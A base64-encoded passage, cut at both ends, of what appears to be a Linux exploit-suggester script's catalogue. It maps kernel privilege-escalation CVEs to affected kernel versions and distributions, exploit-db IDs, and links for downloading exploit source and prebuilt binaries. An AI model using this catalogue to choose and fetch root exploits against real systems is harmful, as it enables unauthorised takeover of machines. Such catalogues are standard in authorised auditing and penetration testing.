IxMF0ke3R4dHJzdH0gZnRyZXgKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4xMSx2ZXI8PTIuNi4yMgpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDY4NTEKQ29tbWVudHM6IHdvcmxkLXdyaXRhYmxlIHNnaWQgZGlyZWN0b3J5IGFuZCBzaGVsbCB0aGF0IGRvZXMgbm90IGRyb3Agc2dpZCBwcml2cyB1cG9uIGV4ZWMgKGFzaC9zYXNoKSBhcmUgcmVxdWlyZWQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOC00MjEwXSR7dHh0cnN0fSBleGl0X25vdGlmeQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjI1LHZlcjw9Mi42LjI5ClRhZ3M6ClJhbms6IDEKZXhwbG9pdC1kYjogODM2OQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTI2OTJdJHt0eHRyc3R9IHNvY2tfc2VuZHBhZ2UgKHNpbXBsZSB2ZXJzaW9uKQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjAsdmVyPD0yLjYuMzAKVGFnczogdWJ1bnR1PTcuMTAsUkhFTD00LGZlZG9yYT00fDV8Nnw3fDh8OXwxMHwxMQpSYW5rOiAxCmV4cGxvaXQtZGI6IDk0NzkKQ29tbWVudHM6IFdvcmtzIGZvciBzeXN0ZW1zIHdpdGggL3Byb2Mvc3lzL3ZtL21tYXBfbWluX2FkZHIgZXF1YWwgdG8gMApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTI2OTIsQ1ZFLTIwMDktMTg5NV0ke3R4dHJzdH0gc29ja19zZW5kcGFnZQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjAsdmVyPD0yLjYuMzAKVGFnczogdWJ1bnR1PTkuMDQKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8veG9ybC53b3JkcHJlc3MuY29tLzIwMDkvMDcvMTYvY3ZlLTIwMDktMTg5NS1saW51eC1rZXJuZWwtcGVyX2NsZWFyX29uX3NldGlkLXBlcnNvbmFsaXR5LWJ5cGFzcy8Kc3JjLXVybDogaHR0cHM6Ly9naXRsYWIuY29tL2V4cGxvaXQtZGF0YWJhc2UvZXhwbG9pdGRiLWJpbi1zcGxvaXRzLy0vcmF3L21haW4vYmluLXNwbG9pdHMvOTQzNS50Z3oKZXhwbG9pdC1kYjogOTQzNQpDb21tZW50czogL3Byb2Mvc3lzL3ZtL21tYXBfbWluX2FkZHIgbmVlZHMgdG8gZXF1YWwgMCBPUiBwdWxzZWF1ZGlvIG5lZWRzIHRvIGJlIGluc3RhbGxlZApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTI2OTIsQ1ZFLTIwMDktMTg5NV0ke3R4dHJzdH0gc29ja19zZW5kcGFnZTIKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjMwClRhZ3M6IApSYW5rOiAxCnNyYy11cmw6IGh0dHBzOi8vZ2l0bGFiLmNvbS9leHBsb2l0LWRhdGFiYXNlL2V4cGxvaXRkYi1iaW4tc3Bsb2l0cy8tL3Jhdy9tYWluL2Jpbi1zcGxvaXRzLzk0MzYudGd6CmV4cGxvaXQtZGI6IDk0MzYKQ29tbWVudHM6IFdvcmtzIGZvciBzeXN0ZW1zIHdpdGggL3Byb2Mvc3lzL3ZtL21tYXBfbWluX2FkZHIgZXF1YWwgdG8gMApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTI2OTIsQ1ZFLTIwMDktMTg5NV0ke3R4dHJzdH0gc29ja19zZW5kcGFnZTMKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjMwClRhZ3M6IApSYW5rOiAxCnNyYy11cmw6IGh0dHBzOi8vZ2l0bGFiLmNvbS9leHBsb2l0LWRhdGFiYXNlL2V4cGxvaXRkYi1iaW4tc3Bsb2l0cy8tL3Jhdy9tYWluL2Jpbi1zcGxvaXRzLzk2NDEudGFyLmd6CmV4cGxvaXQtZGI6IDk2NDEKQ29tbWVudHM6IC9wcm9jL3N5cy92bS9tbWFwX21pbl9hZGRyIG5lZWRzIHRvIGVxdWFsIDAgT1IgcHVsc2VhdWRpbyBuZWVkcyB0byBiZSBpbnN0YWxsZWQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0yNjkyLENWRS0yMDA5LTE4OTVdJHt0eHRyc3R9IHNvY2tfc2VuZHBhZ2UgKHBwYykKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjMwClRhZ3M6IHVidW50dT04LjEwLFJIRUw9NHw1ClJhbms6IDEKZXhwbG9pdC1kYjogOTU0NQpDb21tZW50czogL3Byb2Mvc3lzL3ZtL21tYXBfbWluX2FkZHIgbmVlZHMgdG8gZXF1YWwgMApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTI2OThdJHt0eHRyc3R9IHRoZSByZWJlbCAodWRwX3NlbmRtc2cpClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMSx2ZXI8PTIuNi4xOQpUYWdzOiBkZWJpYW49NApSYW5rOiAxCnNyYy11cmw6IGh0dHBzOi8vZ2l0bGFiLmNvbS9leHBsb2l0LWRhdGFiYXNlL2V4cGxvaXRkYi1iaW4tc3Bsb2l0cy8tL3Jhdy9tYWluL2Jpbi1zcGxvaXRzLzk1NzQudGd6CmV4cGxvaXQtZGI6IDk1NzQKYW5hbHlzaXMtdXJsOiBodHRwczovL2Jsb2cuY3IwLm9yZy8yMDA5LzA4L2N2ZS0yMDA5LTI2OTgtdWRwc2VuZG1zZy12dWxuZXJhYmlsaXR5Lmh0bWwKYXV0aG9yOiBzcGVuZGVyCkNvbW1lbnRzOiAvcHJvYy9zeXMvdm0vbW1hcF9taW5fYWRkciBuZWVkcyB0byBlcXVhbCAwIE9SIHB1bHNlYXVkaW8gbmVlZHMgdG8gYmUgaW5zdGFsbGVkCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDktMjY5OF0ke3R4dHJzdH0gaG9hZ2llX3VkcF9zZW5kbXNnClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMSx2ZXI8PTIuNi4xOSx4ODYKVGFnczogZGViaWFuPTQKUmFuazogMQpleHBsb2l0LWRiOiA5NTc1CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9ibG9nLmNyMC5vcmcvMjAwOS8wOC9jdmUtMjAwOS0yNjk4LXVkcHNlbmRtc2ctdnVsbmVyYWJpbGl0eS5odG1sCmF1dGhvcjogYW5kaQpDb21tZW50czogV29ya3MgZm9yIHN5c3RlbXMgd2l0aCAvcHJvYy9zeXMvdm0vbW1hcF9taW5fYWRkciBlcXVhbCB0byAwCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDktMjY5OF0ke3R4dHJzdH0ga2F0b24gKHVkcF9zZW5kbXNnKQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjEsdmVyPD0yLjYuMTkseDg2ClRhZ3M6IGRlYmlhbj00ClJhbms6IDEKc3JjLXVybDogaHR0cHM6Ly9naXRodWIuY29tL0thYm90L1VuaXgtUHJpdmlsZWdlLUVzY2FsYXRpb24tRXhwbG9pdHMtUGFjay9yYXcvbWFzdGVyLzIwMDkvQ1ZFLTIwMDktMjY5OC9rYXRvbi5jCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9ibG9nLmNyMC5vcmcvMjAwOS8wOC9jdmUtMjAwOS0yNjk4LXVkcHNlbmRtc2ctdnVsbmVyYWJpbGl0eS5odG1sCmF1dGhvcjogVnhIZWxsIExhYnMKQ29tbWVudHM6IFdvcmtzIGZvciBzeXN0ZW1zIHdpdGggL3Byb2Mvc3lzL3ZtL21tYXBfbWluX2FkZHIgZXF1YWwgdG8gMApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTI2OThdJHt0eHRyc3R9IGlwX2FwcGVuZF9kYXRhClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMSx2ZXI8PTIuNi4xOSx4ODYKVGFnczogZmVkb3JhPTR8NXw2LFJIRUw9NApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9ibG9nLmNyMC5vcmcvMjAwOS8wOC9jdmUtMjAwOS0yNjk4LXVkcHNlbmRtc2ctdnVsbmVyYWJpbGl0eS5odG1sCmV4cGxvaXQtZGI6IDk1NDIKYXV0aG9yOiBwMGM3M24xCkNvbW1lbnRzOiBXb3JrcyBmb3Igc3lzdGVtcyB3aXRoIC9wcm9jL3N5cy92bS9tbWFwX21pbl9hZGRyIGVxdWFsIHRvIDAKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0zNTQ3XSR7dHh0cnN0fSBwaXBlLmMgMQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjAsdmVyPD0yLjYuMzEKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiAzMzMyMQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTM1NDddJHt0eHRyc3R9IHBpcGUuYyAyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMCx2ZXI8PTIuNi4zMQpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDMzMzIyCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDktMzU0N10ke3R4dHJzdH0gcGlwZS5jIDMKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjMxClRhZ3M6ClJhbms6IDEKZXhwbG9pdC1kYjogMTAwMTgKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMC0zMzAxXSR7dHh0cnN0fSBwdHJhY2Vfa21vZDIKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4yNix2ZXI8PTIuNi4zNApUYWdzOiBkZWJpYW49Ni4we2tlcm5lbDoyLjYuKDMyfDMzfDM0fDM1KS0oMXwyfHRydW5rKS1hbWQ2NH0sdWJ1bnR1PSgxMC4wNHwxMC4xMCl7a2VybmVsOjIuNi4oMzJ8MzUpLSgxOXwyMXwyNCktc2VydmVyfQpSYW5rOiAxCmJpbi11cmw6IGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDExMTEwMzA0MjkwNC9odHRwOi8vdGFyYW50dWxhLmJ5LnJ1L2xvY2Fscm9vdC8yLjYueC9rbW9kMgpiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxMTExMDMwNDI5MDQvaHR0cDovL3RhcmFudHVsYS5ieS5ydS9sb2NhbHJvb3QvMi42LngvcHRyYWNlLWttb2QKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjQxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvcHRyYWNlX2ttb2QyLTY0CmV4cGxvaXQtZGI6IDE1MDIzCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTAtMTE0Nl0ke3R4dHJzdH0gcmVpc2VyZnMKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4xOCx2ZXI8PTIuNi4zNApUYWdzOiB1YnVudHU9OS4xMApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9qb24ub2JlcmhlaWRlLm9yZy9ibG9nLzIwMTAvMDQvMTAvcmVpc2VyZnMtcmVpc2VyZnNfcHJpdi12dWxuZXJhYmlsaXR5LwpzcmMtdXJsOiBodHRwczovL2pvbi5vYmVyaGVpZGUub3JnL2ZpbGVzL3RlYW0tZWR3YXJkLnB5CmV4cGxvaXQtZGI6IDEyMTMwCmNvbW1lbnRzOiBSZXF1aXJlcyBhIFJlaXNlckZTIGZpbGVzeXN0ZW0gbW91bnRlZCB3aXRoIGV4dGVuZGVkIGF0dHJpYnV0ZXMKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMC0yOTU5XSR7dHh0cnN0fSBjYW5fYmNtClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTgsdmVyPD0yLjYuMzYKVGFnczogdWJ1bnR1PTEwLjA0e2tlcm5lbDoyLjYuMzItMjQtZ2VuZXJpY30KUmFuazogMQpiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxNjA2MDIxOTI2NDEvaHR0cHM6Ly93d3cua2VybmVsLWV4cGxvaXRzLmNvbS9tZWRpYS9jYW5fYmNtCmV4cGxvaXQtZGI6IDE0ODE0CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTAtMzkwNF0ke3R4dHJzdH0gcmRzClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMzAsdmVyPDIuNi4zNwpUYWdzOiBkZWJpYW49Ni4we2tlcm5lbDoyLjYuKDMxfDMyfDM0fDM1KS0oMXx0cnVuayktYW1kNjR9LHVidW50dT0xMC4xMHw5LjEwLGZlZG9yYT0xM3trZXJuZWw6Mi42LjMzLjMtODUuZmMxMy5pNjg2LlBBRX0sdWJ1bnR1PTEwLjA0e2tlcm5lbDoyLjYuMzItKDIxfDI0KS1nZW5lcmljfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5zZWN1cml0eWZvY3VzLmNvbS9hcmNoaXZlLzEvNTE0Mzc5CnNyYy11cmw6IGh0dHA6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTAxMDIwMDQ0MDQ4L2h0dHA6Ly93d3cudnNlY3VyaXR5LmNvbS9kb3dubG9hZC90b29scy9saW51eC1yZHMtZXhwbG9pdC5jCmJpbi11cmw6IGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDE2MDYwMjE5MjY0MS9odHRwczovL3d3dy5rZXJuZWwtZXhwbG9pdHMuY29tL21lZGlhL3JkcwpiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxNjA2MDIxOTI2NDEvaHR0cHM6Ly93d3cua2VybmVsLWV4cGxvaXRzLmNvbS9tZWRpYS9yZHM2NApleHBsb2l0LWRiOiAxNTI4NQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDEwLTM4NDgsQ1ZFLTIwMTAtMzg1MCxDVkUtMjAxMC00MDczXSR7dHh0cnN0fSBoYWxmX25lbHNvbgpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjAsdmVyPD0yLjYuMzYKVGFnczogdWJ1bnR1PSgxMC4wNHw5LjEwKXtrZXJuZWw6Mi42LigzMXwzMiktKDE0fDIxKS1zZXJ2ZXJ9ClJhbms6IDEKYmluLXVybDogaHR0cDovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxNjA2MDIxOTI2MzEvaHR0cHM6Ly93d3cua2VybmVsLWV4cGxvaXRzLmNvbS9tZWRpYS9oYWxmLW5lbHNvbjMKZXhwbG9pdC1kYjogMTc3ODcKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtOL0FdJHt0eHRyc3R9IGNhcHNfdG9fcm9vdApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjM0LHZlcjw9Mi42LjM2LHg4NgpUYWdzOiB1YnVudHU9MTAuMTAKUmFuazogMQpleHBsb2l0LWRiOiAxNTkxNgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W04vQV0ke3R4dHJzdH0gY2Fwc190b19yb290IDIKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4zNCx2ZXI8PTIuNi4zNgpUYWdzOiB1YnVudHU9MTAuMTAKUmFuazogMQpleHBsb2l0LWRiOiAxNTk0NApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDEwLTQzNDddJHt0eHRyc3R9IGFtZXJpY2FuLXNpZ24tbGFuZ3VhZ2UKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjM2ClRhZ3M6ClJhbms6IDEKZXhwbG9pdC1kYjogMTU3NzQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMC0zNDM3XSR7dHh0cnN0fSBwa3RjZHZkClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMCx2ZXI8PTIuNi4zNgpUYWdzOiB1YnVudHU9MTAuMDQKUmFuazogMQpleHBsb2l0LWRiOiAxNTE1MApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDEwLTMwODFdJHt0eHRyc3R9IHZpZGVvNGxpbnV4ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMCx2ZXI8PTIuNi4zMwpUYWdzOiBSSEVMPTUKUmFuazogMQpleHBsb2l0LWRiOiAxNTAyNApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDEyLTAwNTZdJHt0eHRyc3R9IG1lbW9kaXBwZXIKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuMC4wLHZlcjw9My4xLjAKVGFnczogdWJ1bnR1PSgxMC4wNHwxMS4xMCl7a2VybmVsOjMuMC4wLTEyLShnZW5lcmljfHNlcnZlcil9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdC56eDJjNC5jb20vQ1ZFLTIwMTItMDA1Ni9hYm91dC8Kc3JjLXVybDogaHR0cHM6Ly9naXQuengyYzQuY29tL0NWRS0yMDEyLTAwNTYvcGxhaW4vbWVtcG9kaXBwZXIuYwpiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxNjA2MDIxOTI2MzEvaHR0cHM6Ly93d3cua2VybmVsLWV4cGxvaXRzLmNvbS9tZWRpYS9tZW1vZGlwcGVyCmJpbi11cmw6IGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDE2MDYwMjE5MjYzMS9odHRwczovL3d3dy5rZXJuZWwtZXhwbG9pdHMuY29tL21lZGlhL21lbW9kaXBwZXI2NApleHBsb2l0LWRiOiAxODQxMQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDEyLTAwNTYsQ1ZFLTIwMTAtMzg0OSxDVkUtMjAxMC0zODUwXSR7dHh0cnN0fSBmdWxsLW5lbHNvbgpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjAsdmVyPD0yLjYuMzYKVGFnczogdWJ1bnR1PSg5LjEwfDEwLjEwKXtrZXJuZWw6Mi42LigzMXwzNSktKDE0fDE5KS0oc2VydmVyfGdlbmVyaWMpfSx1YnVudHU9MTAuMDR7a2VybmVsOjIuNi4zMi0oMjF8MjQpLXNlcnZlcn0KUmFuazogMQpzcmMtdXJsOiBodHRwOi8vdnVsbmZhY3Rvcnkub3JnL2V4cGxvaXRzL2Z1bGwtbmVsc29uLmMKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjMxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvZnVsbC1uZWxzb24KYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjMxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvZnVsbC1uZWxzb242NApleHBsb2l0LWRiOiAxNTcwNApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDEzLTE4NThdJHt0eHRyc3R9IENMT05FX05FV1VTRVJ8Q0xPTkVfRlMKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI9My44LENPTkZJR19VU0VSX05TPXkKVGFnczogClJhbms6IDEKc3JjLXVybDogaHR0cDovL3N0ZWFsdGgub3BlbndhbGwubmV0L3hTcG9ydHMvY2xvd24tbmV3dXNlci5jCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9sd24ubmV0L0FydGljbGVzLzU0MzI3My8KZXhwbG9pdC1kYjogMzgzOTAKYXV0aG9yOiBTZWJhc3RpYW4gS3JhaG1lcgpDb21tZW50czogQ09ORklHX1VTRVJfTlMgbmVlZHMgdG8gYmUgZW5hYmxlZCAKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMy0yMDk0XSR7dHh0cnN0fSBwZXJmX3N3ZXZlbnQKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4zMix2ZXI8My44LjkseDg2XzY0ClRhZ3M6IFJIRUw9Nix1YnVudHU9MTIuMDR7a2VybmVsOjMuMi4wLSgyM3wyOSktZ2VuZXJpY30sZmVkb3JhPTE2e2tlcm5lbDozLjEuMC03LmZjMTYueDg2XzY0fSxmZWRvcmE9MTd7a2VybmVsOjMuMy40LTUuZmMxNy54ODZfNjR9LGRlYmlhbj03e2tlcm5lbDozLjIuMC00LWFtZDY0fQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3RpbWV0b2JsZWVkLmNvbS9hLWNsb3Nlci1sb29rLWF0LWEtcmVjZW50LXByaXZpbGVnZS1lc2NhbGF0aW9uLWJ1Zy1pbi1saW51eC1jdmUtMjAxMy0yMDk0LwpiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxNjA2MDIxOTI2MzEvaHR0cHM6Ly93d3cua2VybmVsLWV4cGxvaXRzLmNvbS9tZWRpYS9wZXJmX3N3ZXZlbnQKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjMxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvcGVyZl9zd2V2ZW50NjQKZXhwbG9pdC1kYjogMjYxMzEKYXV0aG9yOiBBbmRyZWEgJ3NvcmJvJyBCaXR0YXUKQ29tbWVudHM6IE5vIFNNRVAvU01BUCBieXBhc3MKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMy0yMDk0XSR7dHh0cnN0fSBwZXJmX3N3ZXZlbnQgMgpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjMyLHZlcjwzLjguOSx4ODZfNjQKVGFnczogdWJ1bnR1PTEyLjA0e2tlcm5lbDozLigyfDUpLjAtKDIzfDI5KS1nZW5lcmljfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3RpbWV0b2JsZWVkLmNvbS9hLWNsb3Nlci1sb29rLWF0LWEtcmVjZW50LXByaXZpbGVnZS1lc2NhbGF0aW9uLWJ1Zy1pbi1saW51eC1jdmUtMjAxMy0yMDk0LwpzcmMtdXJsOiBodHRwczovL2N5c2VjbGFicy5jb20vZXhwbG9pdHMvdm5pa192MS5jCmV4cGxvaXQtZGI6IDMzNTg5CmF1dGhvcjogVml0YWx5ICd2bmlrJyBOaWtvbGVua28KQ29tbWVudHM6IE5vIFNNRVAvU01BUCBieXBhc3MKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMy0wMjY4XSR7dHh0cnN0fSBtc3IKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4xOCx2ZXI8My43LjYKVGFnczogClJhbms6IDEKZXhwbG9pdC1kYjogMjcyOTcKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMy0xOTU5XSR7dHh0cnN0fSB1c2VybnNfcm9vdF9zcGxvaXQKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuMC4xLHZlcjwzLjguOQpUYWdzOiAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly93d3cub3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDEzLzA0LzI5LzEKZXhwbG9pdC1kYjogMjU0NTAKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMy0yMDk0XSR7dHh0cnN0fSBzZW10ZXgKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4zMix2ZXI8My44LjkKVGFnczogUkhFTD02ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vdGltZXRvYmxlZWQuY29tL2EtY2xvc2VyLWxvb2stYXQtYS1yZWNlbnQtcHJpdmlsZWdlLWVzY2FsYXRpb24tYnVnLWluLWxpbnV4LWN2ZS0yMDEzLTIwOTQvCmV4cGxvaXQtZGI6IDI1NDQ0CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTQtMDAzOF0ke3R4dHJzdH0gdGltZW91dHB3bgpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My40LjAsdmVyPD0zLjEzLjEsQ09ORklHX1g4Nl9YMzI9eQpUYWdzOiB1YnVudHU9MTMuMTAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9ibG9nLmluY2x1ZGVzZWN1cml0eS5jb20vMjAxNC8wMy9leHBsb2l0LUNWRS0yMDE0LTAwMzgteDMyLXJlY3ZtbXNnLWtlcm5lbC12dWxuZXJhYmxpdHkuaHRtbApiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxNjA2MDIxOTI2MzEvaHR0cHM6Ly93d3cua2VybmVsLWV4cGxvaXRzLmNvbS9tZWRpYS90aW1lb3V0cHduNjQKZXhwbG9pdC1kYjogMzEzNDYKQ29tbWVudHM6IENPTkZJR19YODZfWDMyIG5lZWRzIHRvIGJlIGVuYWJsZWQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNC0wMDM4XSR7dHh0cnN0fSB0aW1lb3V0cHduIDIKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuNC4wLHZlcjw9My4xMy4xLENPTkZJR19YODZfWDMyPXkKVGFnczogdWJ1bnR1PSgxMy4wNHwxMy4xMCl7a2VybmVsOjMuKDh8MTEpLjAtKDEyfDE1fDE5KS1nZW5lcmljfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL2Jsb2cuaW5jbHVkZXNlY3VyaXR5LmNvbS8yMDE0LzAzL2V4cGxvaXQtQ1ZFLTIwMTQtMDAzOC14MzItcmVjdm1tc2cta2VybmVsLXZ1bG5lcmFibGl0eS5odG1sCmV4cGxvaXQtZGI6IDMxMzQ3CkNvbW1lbnRzOiBDT05GSUdfWDg2X1gzMiBuZWVkcyB0byBiZSBlbmFibGVkCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTQtMDE5Nl0ke3